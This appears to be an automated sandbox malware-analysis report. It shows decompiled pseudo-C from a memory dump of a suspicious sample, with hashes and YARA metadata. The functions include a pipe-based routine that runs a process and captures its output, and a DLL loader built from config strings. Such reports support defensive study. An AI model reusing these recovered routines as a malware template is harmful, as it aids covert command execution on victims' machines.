Memory Dump Source

Source File: 00000008.00000002.896965295.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: Initialize$AllocAllocateBlanketCreateHeapInstanceProxySecurityString
String ID:
API String ID: 1610782348-0
Opcode ID: 8f33f20902c1c8204532acc5c06617b39997601a686cda265b63a3bb2532e6d9
Instruction ID: c82542db590a0233d1c1274d0889e5be0d465def93cc6adf2a6bd8fc249cdf5a
Opcode Fuzzy Hash: 8f33f20902c1c8204532acc5c06617b39997601a686cda265b63a3bb2532e6d9
Instruction Fuzzy Hash: 0521F570600245BBEB249BA6DC4DE5BBFBCFFC6B15F10415EB501AA2A0DA709A01CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00092237, Relevance: 7.6, APIs: 5, Instructions: 52
stringCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E00092237(char* __eax, char** _a4, long long* _a8) {
				char* _v8;
				long long _v16;
				char* _t9;
				signed char _t11;
				char** _t19;
				char _t22;
				long long _t32;
				long long _t33;

				_t9 = __eax;
				L00092305();
				_t19 = _a4;
				_t22 =  *__eax;
				if( *_t22 != 0x2e) {
					_t9 = strchr( *_t19, 0x2e);
					if(_t9 != 0) {
						 *_t9 =  *_t22;
					}
				}
				L000922C9();
				 *_t9 =  *_t9 & 0x00000000;
				_t11 = strtod( *_t19,  &_v8);
				asm("fst qword [ebp-0xc]");
				_t32 =  *0x98250;
				asm("fucomp st1");
				asm("fnstsw ax");
				if((_t11 & 0x00000044) != 0) {
					L5:
					st0 = _t32;
					L000922C9();
					if( *_t11 != 0x22) {
						_t33 = _v16;
						goto L8;
					} else {
						return _t11 | 0xffffffff;
					}
				} else {
					_t33 =  *0x98258;
					asm("fucomp st1");
					asm("fnstsw ax");
					if((_t11 & 0x00000044) != 0) {
						L8:
						 *_a8 = _t33;
						return 0;
					} else {
						goto L5;
					}
				}
			}

0x00092237
0x0009223f
0x00092244
0x00092247
0x0009224c
0x00092252
0x0009225b
0x0009225f
0x0009225f
0x0009225b
0x00092261
0x00092266
0x0009226f
0x00092274
0x00092277
0x00092280
0x00092282
0x00092289
0x0009229a
0x0009229a
0x0009229c
0x000922a4
0x000922ab
0x00000000
0x000922a6
0x000922aa
0x000922aa
0x0009228b
0x0009228b
0x00092291
0x00092293
0x00092298
0x000922ae
0x000922b1
0x000922b6
0x00000000
0x00000000
0x00000000
0x00092298

APIs

localeconv.MSVCRT ref: 0009223F
strchr.MSVCRT ref: 00092252
_errno.MSVCRT ref: 00092261
strtod.MSVCRT ref: 0009226F
_errno.MSVCRT ref: 0009229C

Memory Dump Source

Source File: 00000008.00000002.896965295.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: _errno$localeconvstrchrstrtod
String ID:
API String ID: 1035490122-0
Opcode ID: de4c433de47fb25370494944294a547a5aa963e4291e7017832a2afbf295a471
Instruction ID: 63d42227c90a01ef9405b7e132d6f5d7d59320d0a91bfa312613f1a0accb1f9e
Opcode Fuzzy Hash: de4c433de47fb25370494944294a547a5aa963e4291e7017832a2afbf295a471
Instruction Fuzzy Hash: B601F235904205BBDF126F28E9017DD7BA4AF4B360F2142D1E980772E2DF759954E7A0

Uniqueness

Uniqueness Score: -1.00%

Function 0008A9F9, Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 177
pipeCOMMON

Download Yara Rule

C-Code - Quality: 73%

			E0008A9F9(signed int __ecx) {
				void* _v8;
				void* _v12;
				void* _v16;
				void* _v20;
				signed int _v24;
				char _v28;
				char _v32;
				char _v36;
				struct _SECURITY_ATTRIBUTES _v48;
				intOrPtr _v60;
				char _v64;
				intOrPtr _v76;
				intOrPtr _v80;
				void* _v84;
				short _v92;
				intOrPtr _v96;
				void _v140;
				intOrPtr _t77;
				void* _t79;
				intOrPtr _t85;
				intOrPtr _t87;
				intOrPtr _t89;
				intOrPtr _t92;
				intOrPtr _t98;
				intOrPtr _t100;
				intOrPtr _t102;
				long _t111;
				intOrPtr _t115;
				intOrPtr _t126;
				void* _t127;
				void* _t128;
				void* _t129;
				void* _t130;

				_t111 = 0;
				_v24 = __ecx;
				_v12 = 0;
				_v20 = 0;
				_t127 = 0;
				_v8 = 0;
				_v16 = 0;
				_v48.nLength = 0xc;
				_v48.lpSecurityDescriptor = 0;
				_v48.bInheritHandle = 1;
				_v28 = 0;
				memset( &_v140, 0, 0x44);
				asm("stosd");
				_t130 = _t129 + 0xc;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				if(CreatePipe( &_v12,  &_v20,  &_v48, 0) == 0) {
					L18:
					return 0;
				}
				if(CreatePipe( &_v8,  &_v16,  &_v48, 0) == 0) {
					L13:
					E000885FB( &_v28, 0);
					if(_v20 != 0) {
						_t77 =  *0x9e684; // 0xa5f8f0
						 *((intOrPtr*)(_t77 + 0x30))(_v20);
					}
					if(_v8 != 0) {
						_t115 =  *0x9e684; // 0xa5f8f0
						 *((intOrPtr*)(_t115 + 0x30))(_v8);
					}
					return _t111;
				}
				_t79 = _v16;
				_v76 = _t79;
				_v80 = _t79;
				_v84 = _v12;
				_v140 = 0x44;
				_v96 = 0x101;
				_v92 = 0;
				_t126 = E000885E5(0x1001);
				_v28 = _t126;
				if(_t126 == 0) {
					goto L18;
				}
				_push( &_v64);
				_push( &_v140);
				_t85 =  *0x9e684; // 0xa5f8f0
				_push(0);
				_push(0);
				_push(0x8000000);
				_push(1);
				_push(0);
				_push(0);
				_push(_v24);
				_push(0);
				if( *((intOrPtr*)(_t85 + 0x38))() == 0) {
					goto L13;
				}
				_t87 =  *0x9e684; // 0xa5f8f0
				 *((intOrPtr*)(_t87 + 0x30))(_v12);
				_t89 =  *0x9e684; // 0xa5f8f0
				 *((intOrPtr*)(_t89 + 0x30))(_v16);
				_v24 = _v24 & 0;
				do {
					_t92 =  *0x9e684; // 0xa5f8f0
					_v36 =  *((intOrPtr*)(_t92 + 0x88))(_v8, _t126, 0x1000,  &_v24, 0);
					 *((char*)(_v24 + _t126)) = 0;
					if(_t111 == 0) {
						_t127 = E00089187(_t126, 0);
					} else {
						_push(0);
						_push(_t126);
						_v32 = _t127;
						_t127 = E00089273(_t127);
						E000885FB( &_v32, 0xffffffff);
						_t130 = _t130 + 0x14;
					}
					_t111 = _t127;
					_v32 = _t127;
				} while (_v36 != 0);
				_push( &_v36);
				_push(E0008C3BB(_t127));
				_t98 =  *0x9e68c; // 0xa5fab8
				_push(_t127);
				if( *((intOrPtr*)(_t98 + 0xb8))() != 0) {
					L12:
					_t100 =  *0x9e684; // 0xa5f8f0
					 *((intOrPtr*)(_t100 + 0x30))(_v64);
					_t102 =  *0x9e684; // 0xa5f8f0
					 *((intOrPtr*)(_t102 + 0x30))(_v60);
					goto L13;
				}
				_t128 = E00089237(_t127);
				if(_t128 == 0) {
					goto L12;
				}
				E000885FB( &_v32, 0);
				return _t128;
			}

0x0008aa04
0x0008aa06
0x0008aa12
0x0008aa17
0x0008aa1a
0x0008aa1c
0x0008aa1f
0x0008aa22
0x0008aa29
0x0008aa2c
0x0008aa33
0x0008aa36
0x0008aa40
0x0008aa41
0x0008aa44
0x0008aa46
0x0008aa47
0x0008aa5e
0x0008abde
0x00000000
0x0008abde
0x0008aa75
0x0008abaa
0x0008abb0
0x0008abbb
0x0008abbd
0x0008abc5
0x0008abc5
0x0008abcc
0x0008abce
0x0008abd7
0x0008abd7
0x00000000
0x0008abda
0x0008aa7b
0x0008aa7e
0x0008aa81
0x0008aa87
0x0008aa91
0x0008aa9b
0x0008aaa2
0x0008aaab
0x0008aaad
0x0008aab3
0x00000000
0x00000000
0x0008aabe
0x0008aac5
0x0008aac6
0x0008aacb
0x0008aacc
0x0008aacd
0x0008aad2
0x0008aad4
0x0008aad5
0x0008aad6
0x0008aad9
0x0008aadf
0x00000000
0x00000000
0x0008aae5
0x0008aaed
0x0008aaf0
0x0008aaf8
0x0008aafb
0x0008aafe
0x0008ab04
0x0008ab18
0x0008ab1e
0x0008ab24
0x0008ab4d
0x0008ab26
0x0008ab26
0x0008ab28
0x0008ab2a
0x0008ab32
0x0008ab3a
0x0008ab3f
0x0008ab3f
0x0008ab53
0x0008ab55
0x0008ab55
0x0008ab5d
0x0008ab65
0x0008ab66
0x0008ab6b
0x0008ab74
0x0008ab94
0x0008ab94
0x0008ab9c
0x0008ab9f
0x0008aba7
0x00000000
0x0008aba7
0x0008ab7d
0x0008ab81
0x00000000
0x00000000
0x0008ab89
0x00000000

APIs

memset.MSVCRT ref: 0008AA36
CreatePipe.KERNEL32(?,?,0000000C,00000000,00000000,00000000,00000000), ref: 0008AA5A
CreatePipe.KERNEL32(0008658A,?,0000000C,00000000), ref: 0008AA71

Part of subcall function 000885E5: RtlAllocateHeap.NTDLL(00000008,?,?,00088F65,00000100,?,00085FAC), ref: 000885F3

Part of subcall function 000885FB: HeapFree.KERNEL32(00000000,00000000,00000001), ref: 00088641

Strings

D, xrefs: 0008AA91

Memory Dump Source

Source File: 00000008.00000002.896965295.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: CreateHeapPipe$AllocateFreememset
String ID: D
API String ID: 2365139273-2746444292
Opcode ID: 903a0d4b6a110d9f7f3855bed881f7785e8e69d72c4dee76722fdcde8e181fa9
Instruction ID: db70de6b9aaa29907dea9fad1e92da7b8083f6fbc426e583823b1b80d9bc7376
Opcode Fuzzy Hash: 903a0d4b6a110d9f7f3855bed881f7785e8e69d72c4dee76722fdcde8e181fa9
Instruction Fuzzy Hash: D9511972E00209AFEB51EFA4CC45FEEB7B9BB08340F10416AF541E7252EB749A458B61

Uniqueness

Uniqueness Score: -1.00%

Function 0008C510, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 117
libraryCOMMON

Download Yara Rule

C-Code - Quality: 89%

			E0008C510(void* __ebx, void* __edx, void* __edi, void* __esi) {
				char _v8;
				char _v12;
				void _v140;
				signed char _t14;
				char _t15;
				intOrPtr _t20;
				void* _t25;
				intOrPtr _t26;
				intOrPtr _t32;
				WCHAR* _t34;
				intOrPtr _t35;
				struct HINSTANCE__* _t37;
				int _t38;
				intOrPtr _t46;
				void* _t47;
				intOrPtr _t50;
				void* _t60;
				void* _t61;
				char _t62;
				char* _t63;
				void* _t65;
				intOrPtr _t66;
				char _t68;

				_t65 = __esi;
				_t61 = __edi;
				_t47 = __ebx;
				_t50 =  *0x9e688; // 0xb0000
				_t14 =  *(_t50 + 0x1898);
				if(_t14 == 0x100 ||  *((intOrPtr*)(_t50 + 4)) >= 0xa && (_t14 & 0x00000004) != 0) {
					_t15 = E000895C2(_t50, 0xb62);
					_t66 =  *0x9e688; // 0xb0000
					_t62 = _t15;
					_t67 = _t66 + 0xb0;
					_v8 = _t62;
					E00089621( &_v140, 0x40, L"%08x", E0008D442(_t66 + 0xb0, E0008C3BB(_t66 + 0xb0), 0));
					_t20 =  *0x9e688; // 0xb0000
					asm("sbb eax, eax");
					_t25 = E000895C2(_t67, ( ~( *(_t20 + 0xa8)) & 0x00000068) + 0x615);
					_t63 = "\\";
					_t26 =  *0x9e688; // 0xb0000
					_t68 = E000892C6(_t26 + 0x1020);
					_v12 = _t68;
					E000885B6( &_v8);
					_t32 =  *0x9e688; // 0xb0000
					_t34 = E000892C6(_t32 + 0x122a);
					 *0x9e784 = _t34;
					_t35 =  *0x9e684; // 0xa5f8f0
					 *((intOrPtr*)(_t35 + 0x110))(_t68, _t34, 0, _t63,  &_v140, ".", L"dll", 0, _t63, _t25, _t63, _t62, 0, _t61, _t65, _t47);
					_t37 = LoadLibraryW( *0x9e784);
					 *0x9e77c = _t37;
					if(_t37 == 0) {
						_t38 = 0;
					} else {
						_push(_t37);
						_t60 = 0x28;
						_t38 = E0008E1B3(0x9bb40, _t60);
					}
					 *0x9e780 = _t38;
					E000885FB( &_v12, 0xfffffffe);
					memset( &_v140, 0, 0x80);
					if( *0x9e780 != 0) {
						goto L10;
					} else {
						E000885FB(0x9e784, 0xfffffffe);
						goto L8;
					}
				} else {
					L8:
					if( *0x9e780 == 0) {
						_t46 =  *0x9e6bc; // 0xa5fa18
						 *0x9e780 = _t46;
					}
					L10:
					return 1;
				}
			}

0x0008c510
0x0008c510
0x0008c510
0x0008c513
0x0008c51f
0x0008c52a
0x0008c546
0x0008c54b
0x0008c554
0x0008c556
0x0008c55e
0x0008c57f
0x0008c584
0x0008c591
0x0008c59c
0x0008c5a3
0x0008c5aa
0x0008c5bb
0x0008c5c1
0x0008c5c4
0x0008c5db
0x0008c5e7
0x0008c5ef
0x0008c5f6
0x0008c5fc
0x0008c608
0x0008c60e
0x0008c615
0x0008c628
0x0008c617
0x0008c617
0x0008c61a
0x0008c620
0x0008c625
0x0008c62a
0x0008c635
0x0008c647
0x0008c659
0x00000000
0x0008c65b
0x0008c662
0x00000000
0x0008c668
0x0008c669
0x0008c669
0x0008c670
0x0008c672
0x0008c677
0x0008c677
0x0008c67c
0x0008c680
0x0008c680

APIs

LoadLibraryW.KERNEL32 ref: 0008C608
memset.MSVCRT ref: 0008C647

Strings

%08x, xrefs: 0008C571
dll, xrefs: 0008C5CA

Memory Dump Source

Source File: 00000008.00000002.896965295.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: LibraryLoadmemset
String ID: %08x$dll
API String ID: 3406617148-2963171978
Opcode ID: 0e48b59045cb626c4d84cbaf597815a0b60bb8226869b6b2682a1fd05cf94f66
Instruction ID: a8df70be75e97c5ee857d688dea556373e1c036a45208cb8073b23abf85ff621
Opcode Fuzzy Hash: 0e48b59045cb626c4d84cbaf597815a0b60bb8226869b6b2682a1fd05cf94f66
Instruction Fuzzy Hash: A331C0B2A04244BBFB10FBA8EC49EAA73ECFB58754F444126F544D7292EB789D408725

Uniqueness

Uniqueness Score: -1.00%

Function 00092DB0, Relevance: 6.6, APIs: 5, Instructions: 341
COMMON

Download Yara Rule

C-Code - Quality: 99%

			E00092DB0(int _a4, signed int _a8) {
				int _v8;
				intOrPtr _v12;
				signed int _v16;
				void* __esi;
				void* _t137;
				signed int _t141;
				intOrPtr* _t142;
				signed int _t145;
				signed int _t146;
				intOrPtr _t151;
				intOrPtr _t161;
				intOrPtr _t162;
				intOrPtr _t167;
				intOrPtr _t170;
				signed int _t172;
				intOrPtr _t173;
				int _t184;
				intOrPtr _t185;
				intOrPtr _t188;
				signed int _t189;
				void* _t195;
				int _t202;
				int _t208;
				intOrPtr _t217;
				signed int _t218;
				int _t219;
				intOrPtr _t220;
				signed int _t221;
				signed int _t222;
				int _t224;
				int _t225;
				signed int _t227;
				intOrPtr _t228;
				int _t232;
				int _t234;
				signed int _t235;
				int _t239;
				void* _t240;
				int _t245;
				int _t252;
				signed int _t253;
				int _t254;
				void* _t257;
				void* _t258;
				int _t259;
				intOrPtr _t260;
				int _t261;
				signed int _t269;
				signed int _t271;
				intOrPtr* _t272;
				void* _t273;

				_t253 = _a8;
				_t272 = _a4;
				_t3 = _t272 + 0xc; // 0x452bf84d
				_t4 = _t272 + 0x2c; // 0x8df075ff
				_t228 =  *_t4;
				_t137 =  *_t3 + 0xfffffffb;
				_t229 =  <=  ? _t137 : _t228;
				_v16 =  <=  ? _t137 : _t228;
				_t269 = 0;
				_a4 =  *((intOrPtr*)( *_t272 + 4));
				asm("o16 nop [eax+eax]");
				while(1) {
					_t8 = _t272 + 0x16bc; // 0xec8b55c3
					_t141 =  *_t8 + 0x2a >> 3;
					_v12 = 0xffff;
					_t217 =  *((intOrPtr*)( *_t272 + 0x10));
					if(_t217 < _t141) {
						break;
					}
					_t11 = _t272 + 0x6c; // 0xa1ec8b55
					_t12 = _t272 + 0x5c; // 0x23e85000
					_t245 =  *_t11 -  *_t12;
					_v8 = _t245;
					_t195 =  *((intOrPtr*)( *_t272 + 4)) + _t245;
					_t247 =  <  ? _t195 : _v12;
					_t227 =  <=  ?  <  ? _t195 : _v12 : _t217 - _t141;
					if(_t227 >= _v16) {
						L7:
						if(_t253 != 4) {
							L10:
							_t269 = 0;
							__eflags = 0;
						} else {
							_t285 = _t227 - _t195;
							if(_t227 != _t195) {
								goto L10;
							} else {
								_t269 = _t253 - 3;
							}
						}
						E00095DD0(_t272, _t272, 0, 0, _t269);
						_t18 = _t272 + 0x14; // 0xc703f045
						_t19 = _t272 + 8; // 0x8d000040
						 *( *_t18 +  *_t19 - 4) = _t227;
						_t22 = _t272 + 0x14; // 0xc703f045
						_t23 = _t272 + 8; // 0x8d000040
						 *((char*)( *_t22 +  *_t23 - 3)) = _t227 >> 8;
						_t26 = _t272 + 0x14; // 0xc703f045
						_t27 = _t272 + 8; // 0x8d000040
						 *( *_t26 +  *_t27 - 2) =  !_t227;
						_t30 = _t272 + 0x14; // 0xc703f045
						_t31 = _t272 + 8; // 0x8d000040
						 *((char*)( *_t30 +  *_t31 - 1)) =  !_t227 >> 8;
						E00094B30(_t285,  *_t272);
						_t202 = _v8;
						_t273 = _t273 + 0x14;
						if(_t202 != 0) {
							_t208 =  >  ? _t227 : _t202;
							_v8 = _t208;
							_t36 = _t272 + 0x38; // 0xf47d8bff
							_t37 = _t272 + 0x5c; // 0x23e85000
							memcpy( *( *_t272 + 0xc),  *_t36 +  *_t37, _t208);
							_t273 = _t273 + 0xc;
							_t252 = _v8;
							 *( *_t272 + 0xc) =  *( *_t272 + 0xc) + _t252;
							 *((intOrPtr*)( *_t272 + 0x10)) =  *((intOrPtr*)( *_t272 + 0x10)) - _t252;
							 *((intOrPtr*)( *_t272 + 0x14)) =  *((intOrPtr*)( *_t272 + 0x14)) + _t252;
							 *(_t272 + 0x5c) =  *(_t272 + 0x5c) + _t252;
							_t227 = _t227 - _t252;
						}
						if(_t227 != 0) {
							E00094C70( *_t272,  *( *_t272 + 0xc), _t227);
							_t273 = _t273 + 0xc;
							 *( *_t272 + 0xc) =  *( *_t272 + 0xc) + _t227;
							 *((intOrPtr*)( *_t272 + 0x10)) =  *((intOrPtr*)( *_t272 + 0x10)) - _t227;
							 *((intOrPtr*)( *_t272 + 0x14)) =  *((intOrPtr*)( *_t272 + 0x14)) + _t227;
						}
						_t253 = _a8;
						if(_t269 == 0) {
							continue;
						}
					} else {
						if(_t227 != 0 || _t253 == 4) {
							if(_t253 != 0 && _t227 == _t195) {
								goto L7;
							}
						}
					}
					break;
				}
				_t142 =  *_t272;
				_t232 = _a4 -  *((intOrPtr*)(_t142 + 4));
				_a4 = _t232;
				if(_t232 == 0) {
					_t83 = _t272 + 0x6c; // 0xa1ec8b55
					_t254 =  *_t83;
				} else {
					_t59 = _t272 + 0x2c; // 0x8df075ff
					_t224 =  *_t59;
					if(_t232 < _t224) {
						_t65 = _t272 + 0x3c; // 0x830cc483
						_t66 = _t272 + 0x6c; // 0xa1ec8b55
						_t260 =  *_t66;
						__eflags =  *_t65 - _t260 - _t232;
						if( *_t65 - _t260 <= _t232) {
							_t67 = _t272 + 0x38; // 0xf47d8bff
							_t261 = _t260 - _t224;
							 *(_t272 + 0x6c) = _t261;
							memcpy( *_t67,  *_t67 + _t224, _t261);
							_t70 = _t272 + 0x16b0; // 0x7e89ffff
							_t188 =  *_t70;
							_t273 = _t273 + 0xc;
							_t232 = _a4;
							__eflags = _t188 - 2;
							if(_t188 < 2) {
								_t189 = _t188 + 1;
								__eflags = _t189;
								 *(_t272 + 0x16b0) = _t189;
							}
						}
						_t73 = _t272 + 0x38; // 0xf47d8bff
						_t74 = _t272 + 0x6c; // 0xa1ec8b55
						memcpy( *_t73 +  *_t74,  *((intOrPtr*)( *_t272)) - _t232, _t232);
						_t225 = _a4;
						_t273 = _t273 + 0xc;
						_t76 = _t272 + 0x6c;
						 *_t76 =  *(_t272 + 0x6c) + _t225;
						__eflags =  *_t76;
						_t78 = _t272 + 0x6c; // 0xa1ec8b55
						_t184 =  *_t78;
						_t79 = _t272 + 0x2c; // 0x8df075ff
						_t239 =  *_t79;
					} else {
						 *(_t272 + 0x16b0) = 2;
						_t61 = _t272 + 0x38; // 0xf47d8bff
						memcpy( *_t61,  *_t142 - _t224, _t224);
						_t62 = _t272 + 0x2c; // 0x8df075ff
						_t184 =  *_t62;
						_t273 = _t273 + 0xc;
						_t225 = _a4;
						_t239 = _t184;
						 *(_t272 + 0x6c) = _t184;
					}
					_t254 = _t184;
					 *(_t272 + 0x5c) = _t184;
					_t81 = _t272 + 0x16b4; // 0x3c468b3c
					_t185 =  *_t81;
					_t240 = _t239 - _t185;
					_t241 =  <=  ? _t225 : _t240;
					_t242 = ( <=  ? _t225 : _t240) + _t185;
					 *((intOrPtr*)(_t272 + 0x16b4)) = ( <=  ? _t225 : _t240) + _t185;
				}
				if( *(_t272 + 0x16c0) < _t254) {
					 *(_t272 + 0x16c0) = _t254;
				}
				if(_t269 == 0) {
					_t218 = _a8;
					__eflags = _t218;
					if(_t218 == 0) {
						L34:
						_t89 = _t272 + 0x3c; // 0x830cc483
						_t219 =  *_t272;
						_t145 =  *_t89 - _t254 - 1;
						_a4 =  *_t272;
						_t234 = _t254;
						_v16 = _t145;
						_v8 = _t254;
						__eflags =  *((intOrPtr*)(_t219 + 4)) - _t145;
						if( *((intOrPtr*)(_t219 + 4)) > _t145) {
							_v8 = _t254;
							_t95 = _t272 + 0x5c; // 0x23e85000
							_a4 = _t219;
							_t234 = _t254;
							_t97 = _t272 + 0x2c; // 0x8df075ff
							__eflags =  *_t95 -  *_t97;
							if( *_t95 >=  *_t97) {
								_t98 = _t272 + 0x2c; // 0x8df075ff
								_t167 =  *_t98;
								_t259 = _t254 - _t167;
								_t99 = _t272 + 0x38; // 0xf47d8bff
								 *(_t272 + 0x5c) =  *(_t272 + 0x5c) - _t167;
								 *(_t272 + 0x6c) = _t259;
								memcpy( *_t99, _t167 +  *_t99, _t259);
								_t103 = _t272 + 0x16b0; // 0x7e89ffff
								_t170 =  *_t103;
								_t273 = _t273 + 0xc;
								__eflags = _t170 - 2;
								if(_t170 < 2) {
									_t172 = _t170 + 1;
									__eflags = _t172;
									 *(_t272 + 0x16b0) = _t172;
								}
								_t106 = _t272 + 0x2c; // 0x8df075ff
								_t145 = _v16 +  *_t106;
								__eflags = _t145;
								_a4 =  *_t272;
								_t108 = _t272 + 0x6c; // 0xa1ec8b55
								_t234 =  *_t108;
								_v8 = _t234;
							}
						}
						_t255 = _a4;
						_t220 =  *((intOrPtr*)(_a4 + 4));
						__eflags = _t145 - _t220;
						_t221 =  <=  ? _t145 : _t220;
						_t146 = _t221;
						_a4 = _t221;
						_t222 = _a8;
						__eflags = _t146;
						if(_t146 != 0) {
							_t114 = _t272 + 0x38; // 0xf47d8bff
							E00094C70(_t255,  *_t114 + _v8, _t146);
							_t273 = _t273 + 0xc;
							_t117 = _t272 + 0x6c;
							 *_t117 =  *(_t272 + 0x6c) + _a4;
							__eflags =  *_t117;
							_t119 = _t272 + 0x6c; // 0xa1ec8b55
							_t234 =  *_t119;
						}
						__eflags =  *(_t272 + 0x16c0) - _t234;
						if( *(_t272 + 0x16c0) < _t234) {
							 *(_t272 + 0x16c0) = _t234;
						}
						_t122 = _t272 + 0x16bc; // 0xec8b55c3
						_t123 = _t272 + 0xc; // 0x452bf84d
						_t257 =  *_t123 - ( *_t122 + 0x2a >> 3);
						__eflags = _t257 - 0xffff;
						_t258 =  >  ? 0xffff : _t257;
						_t124 = _t272 + 0x2c; // 0x8df075ff
						_t151 =  *_t124;
						_t125 = _t272 + 0x5c; // 0x23e85000
						_t235 = _t234 -  *_t125;
						__eflags = _t258 - _t151;
						_t152 =  <=  ? _t258 : _t151;
						__eflags = _t235 - ( <=  ? _t258 : _t151);
						if(_t235 >= ( <=  ? _t258 : _t151)) {
							L49:
							__eflags = _t235 - _t258;
							_t154 =  >  ? _t258 : _t235;
							_a4 =  >  ? _t258 : _t235;
							__eflags = _t222 - 4;
							if(_t222 != 4) {
								L53:
								_t269 = 0;
								__eflags = 0;
							} else {
								_t161 =  *_t272;
								__eflags =  *(_t161 + 4);
								_t154 = _a4;
								if( *(_t161 + 4) != 0) {
									goto L53;
								} else {
									__eflags = _t154 - _t235;
									if(_t154 != _t235) {
										goto L53;
									} else {
										_t269 = _t222 - 3;
									}
								}
							}
							_t131 = _t272 + 0x38; // 0xf47d8bff
							_t132 = _t272 + 0x5c; // 0x23e85000
							E00095DD0(_t272, _t272,  *_t131 +  *_t132, _t154, _t269);
							_t134 = _t272 + 0x5c;
							 *_t134 =  *(_t272 + 0x5c) + _a4;
							__eflags =  *_t134;
							E00094B30( *_t134,  *_t272);
						} else {
							__eflags = _t235;
							if(_t235 != 0) {
								L46:
								__eflags = _t222;
								if(_t222 != 0) {
									_t162 =  *_t272;
									__eflags =  *(_t162 + 4);
									if( *(_t162 + 4) == 0) {
										__eflags = _t235 - _t258;
										if(_t235 <= _t258) {
											goto L49;
										}
									}
								}
							} else {
								__eflags = _t222 - 4;
								if(_t222 == 4) {
									goto L46;
								}
							}
						}
						asm("sbb edi, edi");
						_t271 =  ~_t269 & 0x00000002;
						__eflags = _t271;
						return _t271;
					} else {
						__eflags = _t218 - 4;
						if(_t218 == 4) {
							goto L34;
						} else {
							_t173 =  *_t272;
							__eflags =  *(_t173 + 4);
							if( *(_t173 + 4) != 0) {
								goto L34;
							} else {
								_t88 = _t272 + 0x5c; // 0x23e85000
								__eflags = _t254 -  *_t88;
								if(_t254 !=  *_t88) {
									goto L34;
								} else {
									return 1;
								}
							}
						}
					}
				} else {
					return 3;
				}
			}

0x00092db6
0x00092dbb
0x00092dbf
0x00092dc2
0x00092dc2
0x00092dc5
0x00092dca
0x00092dcf
0x00092dd2
0x00092dd7
0x00092dda
0x00092de0
0x00092de0
0x00092deb
0x00092dee
0x00092df5
0x00092dfa
0x00000000
0x00000000
0x00092e00
0x00092e05
0x00092e05
0x00092e0a
0x00092e10
0x00092e1a
0x00092e1f
0x00092e25
0x00092e44
0x00092e47
0x00092e52
0x00092e52
0x00092e52
0x00092e49
0x00092e49
0x00092e4b
0x00000000
0x00092e4d
0x00092e4d
0x00092e4d
0x00092e4b
0x00092e5a
0x00092e5f
0x00092e64
0x00092e6a
0x00092e6e
0x00092e71
0x00092e74
0x00092e7a
0x00092e7f
0x00092e82
0x00092e88
0x00092e8d
0x00092e93
0x00092e99
0x00092e9e
0x00092ea1
0x00092ea6
0x00092eaa
0x00092eae
0x00092eb1
0x00092eb4
0x00092ebd
0x00092ec4
0x00092ec7
0x00092eca
0x00092ecf
0x00092ed4
0x00092ed7
0x00092eda
0x00092eda
0x00092ede
0x00092ee7
0x00092eee
0x00092ef1
0x00092ef6
0x00092efb
0x00092efb
0x00092efe
0x00092f03
0x00000000
0x00000000
0x00092e27
0x00092e29
0x00092e36
0x00000000
0x00000000
0x00092e36
0x00092e29
0x00000000
0x00092e25
0x00092f09
0x00092f0e
0x00092f11
0x00092f14
0x00092fbf
0x00092fbf
0x00092f1a
0x00092f1a
0x00092f1a
0x00092f1f
0x00092f49
0x00092f4c
0x00092f4c
0x00092f51
0x00092f53
0x00092f55
0x00092f58
0x00092f5b
0x00092f63
0x00092f68
0x00092f68
0x00092f6e
0x00092f71
0x00092f74
0x00092f77
0x00092f79
0x00092f79
0x00092f7a
0x00092f7a
0x00092f77
0x00092f88
0x00092f8b
0x00092f8f
0x00092f94
0x00092f97
0x00092f9a
0x00092f9a
0x00092f9a
0x00092f9d
0x00092f9d
0x00092fa0
0x00092fa0
0x00092f21
0x00092f21
0x00092f31
0x00092f34
0x00092f39
0x00092f39
0x00092f3c
0x00092f3f
0x00092f42
0x00092f44
0x00092f44
0x00092fa3
0x00092fa5
0x00092fa8
0x00092fa8
0x00092fae
0x00092fb2
0x00092fb5
0x00092fb7
0x00092fb7
0x00092fc8
0x00092fca
0x00092fca
0x00092fd2
0x00092fe0
0x00092fe3
0x00092fe5
0x00093005
0x00093005
0x00093008
0x0009300e
0x0009300f
0x00093012
0x00093014
0x00093017
0x0009301a
0x0009301d
0x00093021
0x00093024
0x00093027
0x0009302a
0x0009302c
0x0009302c
0x0009302f
0x00093031
0x00093031
0x00093034
0x00093036
0x00093039
0x00093041
0x00093044
0x00093049
0x00093049
0x0009304f
0x00093052
0x00093055
0x00093057
0x00093057
0x00093058
0x00093058
0x00093063
0x00093063
0x00093063
0x00093066
0x00093069
0x00093069
0x0009306c
0x0009306c
0x0009302f
0x0009306f
0x00093072
0x00093075
0x00093077
0x0009307a
0x0009307c
0x0009307f
0x00093082
0x00093084
0x00093087
0x0009308f
0x00093097
0x0009309a
0x0009309a
0x0009309a
0x0009309d
0x0009309d
0x0009309d
0x000930a0
0x000930a6
0x000930a8
0x000930a8
0x000930ae
0x000930b4
0x000930bd
0x000930c4
0x000930c6
0x000930c9
0x000930c9
0x000930cc
0x000930cc
0x000930cf
0x000930d1
0x000930d4
0x000930d6
0x000930f1
0x000930f1
0x000930f5
0x000930f8
0x000930fb
0x000930fe
0x00093114
0x00093114
0x00093114
0x00093100
0x00093100
0x00093102
0x00093106
0x00093109
0x00000000
0x0009310b
0x0009310b
0x0009310d
0x00000000
0x0009310f
0x0009310f
0x0009310f
0x0009310d
0x00093109
0x00093118
0x0009311b
0x00093120
0x0009312a
0x0009312a
0x0009312a
0x0009312d
0x000930d8
0x000930d8
0x000930da
0x000930e1
0x000930e1
0x000930e3
0x000930e5
0x000930e7
0x000930eb
0x000930ed
0x000930ef
0x00000000
0x00000000
0x000930ef
0x000930eb
0x000930dc
0x000930dc
0x000930df
0x00000000
0x00000000
0x000930df
0x000930da
0x00093137
0x00093139
0x00093139
0x00093144
0x00092fe7
0x00092fe7
0x00092fea
0x00000000
0x00092fec
0x00092fec
0x00092fee
0x00092ff2
0x00000000
0x00092ff4
0x00092ff4
0x00092ff4
0x00092ff7
